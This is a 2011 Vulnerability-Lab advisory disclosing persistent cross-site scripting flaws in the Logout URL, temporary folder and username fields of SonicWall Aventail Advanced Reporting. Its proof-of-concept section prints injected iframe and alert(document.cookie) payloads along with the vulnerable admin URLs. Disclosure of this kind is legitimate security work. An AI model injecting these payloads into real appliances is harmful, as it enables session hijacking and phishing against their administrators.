Document Title:
===============
SonicWall Aventail v7.2.16 - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=286
CNNVD-201112-148
Release Date:
=============
2011-11-17
Vulnerability Laboratory ID (VL-ID):
====================================
286
Product & Service Introduction:
===============================
When managing secure remote access, administrators needs to be able to know precisely who accessed what resources,
from where and when. SonicWALL® Aventail® Advanced Reporting delivers a robust hierarchical log analysis tool that
enables IT to track and evaluate all remote user access to an organization’s resources over a SonicWALL Aventail
E-Class Secure Remote Access (SRA) appliance. Designed with all the configurability and power needed to generate
and customize reports to meet enterprise-class IT and user requirements, Advanced Reporting allows IT to also
automate repetitive functions such as updating databases and generating key reports.
(Copy of the Vendor Homepage: http://www.sonicwall.com/de/488_8564.html)
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple persistent input validation vulnerabilities on SonicWalls Aventail Advanced Reporting application.
Vulnerability Disclosure Timeline:
==================================
2011-04-22: Vendor Notification
2011-09-05: Vendor Response/Feedback
2011-**-**: Vendor Fix/Patch
2011-11-18: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
Multiple persistent input validation vulnerabilities are detected on Sonicwalls Aventail Advanced reporting application.
The vulnerability allows an remote attacker or local low privileged user account to inject persistent script code like JS/HTML.
Successful exploitation can result in session hijacking, phishing & persistent content manipulation.
Vulnerable Module(s):
[+] Logout URL
[+] Temporary folder URL; CGI folder
[+] Index Username Output
Affected Version(s):
Aventail Advanced Reporting - aar7.2.16_x64 - windows
Aventail Advanced Reporting - aar7.2.16_x86 - linux-es4
Aventail Advanced Reporting - aar7.2.16_x86 - linux-es5
Aventail Advanced Reporting - aar7.2.16_x64 - linux-es4
Aventail Advanced Reporting - aar7.2.16_x64 - linux-es5
Picture(s):
../1.png
../2.png
../3.png
../4.png
../5.png
../6.png
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with required user inter action or by local low privileged user accounts.
For demonstration or reproduce ...
Review: Logout URL
<tr>?????<td class="label">Logout URL:</td><td>>"?????<iframe src="http://www.vulnerability-lab.com" height="800"
width="800"></td></tr>
<tr><td class="label"> </td><td><input
type="checkbox" disabled="disabled" /> Never look up IP numbers using domain name server</td></tr
><tr><td class="label"> </td><td><input type="checkbox" checked="checked"
disabled="disabled" /> Only look up IP numbers for log entries</td></tr>
<tr><td class="label"> </td><td><input type="checkbox" disabled="disabled" /> Enable
feedback agent</td></tr></table><p class="copyright">© 2011 Flowerfire</p>
</div> <!-- content -->
</body>
</html></iframe></td></tr>
... or
<tr>?????<td class="label">Logout URL:</td><td>>"<script>alert(document.cookie)</script></td>?????</tr>
Review: Temporary folder URL
<tr>?????<td class="label">Temporary folder URL:</td><td>>"<iframe src="http://vulnerability-lab.com" height="800"
width="800"></td></tr>
<tr><td class="label">Temporary folder:</td><td>
asdasdsad</td></tr>
<tr><td class="label">Static URL prefix:</td><td>-<
/td></tr>
<tr><td class="label">Maximum simultaneous tasks:</td><td>8</td&
gt;</tr>
</table>
<p class="copyright">© 2011 Flowerfire</p>
</div>
<!-- content -->
</body>
</html>
</iframe></td>?????</tr>
Review: Index output
<html><head>
<title></title>
<meta http-equiv="Content-Type" content="text/html" charset="UTF-8">
<meta http-equiv=
"Content-Style-Type" content="text/css">
<link href="%3Ciframe%20src=" http:="" vulnerability-lab.com"="" height="800"
width="800"></head><body id="admin_menu_body">?????css/sidebar.css" rel="stylesheet" type="text/css" />
<script language="JavaScript" type="text/JavaScript">var buttons = new Array();buttons['profiles'] = new Button('lea');
buttons['scheduler'] = new Button('lea');buttons['users'] = new Button('lea');
buttons['preferences'] = new Button('bra', 'col', ['miscellaneous', 'server', 'security']);
buttons['miscellaneous'] = new Button('lea');buttons['server'] = new Button('lea');buttons
['security'] = new Button('lea');buttons['tasks'] = new Button('lea');buttons['licensing'] = new Button('lea');
buttons['support'] = new Button('lea');
var _leaf_selected = null; // active button of selected view
// preload button icons
var branch_closed = new Image();branch_closed.src = "<iframe src="http://vulnerability-lab.com" height="800" width="800">picts
/menu_branch_closed.gif";var branch_opened = new Image();
branch_opened.src = "<iframe src="http://vulnerability-lab.com" height="800" width="800">picts/menu_branch_opened.gif";
var leaf = new Image();leaf.src = "<iframe src="http://vulnerability-lab.com"
height="800" width="800">picts/menu_leaf.gif";var leaf_selected = new Image();
leaf_selected.src = "<iframe src="http://vulnerability-lab.com" height="800" width="800">picts/menu_leaf_selected.gif";
// button objects function Button(type, state, leaves) {
this.type = type;
// bra = branch | lea = leaf
this.state = state; // col = collapsed | exp = expanded
this.leaves = leaves;
}
window.onload =
init_onload;
function init_onload() {
...
Review: Index Username Output
<td class="btn" style="width: 95%; padding-right: 9px;">
Logged in as '<USERNAME AS JS SCRIPT-CODE!!!>'| <a href="?dp+templates.admin.authentication.logout"
target="_parent">Logout</a> | <a href="?dp+docs.technical_manual.toc" target="_blank">Help</a> | <a href="javascript:;"
onclick="toggle_about_section()">About</a></td>
Reference(s):
http://127.0.0.1:8987/?dp+templates.admin.preferences.miscellaneous.miscellaneous_view
Module: Logout URL
http://127.0.0.1:8987/?dp+templates.admin.preferences.server.server_view
Module: Temporary folder URL; CGI folder
http://127.0.0.1:8987/?dp+templates.admin.index
Module: Index Username Output
PoC:
../dp+templates.admin.preferences.miscellaneous.miscellaneous_view- logout url (general preferences)
../dp+templates.admin.preferences.miscellaneous.miscellaneous_view- logout url (general preferences)_2
../dp+templates.admin.preferences.server.server_view
../dp+templates.admin.preferences.server.server_view_2
../dp+templates.admin.preferences.server.server_view_3
../dp+templates.index
../index_2_late
../index-username_1
Security Risk:
==============
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
Credits & Authors:
==================
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright © 2012 | Vulnerability Laboratory
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation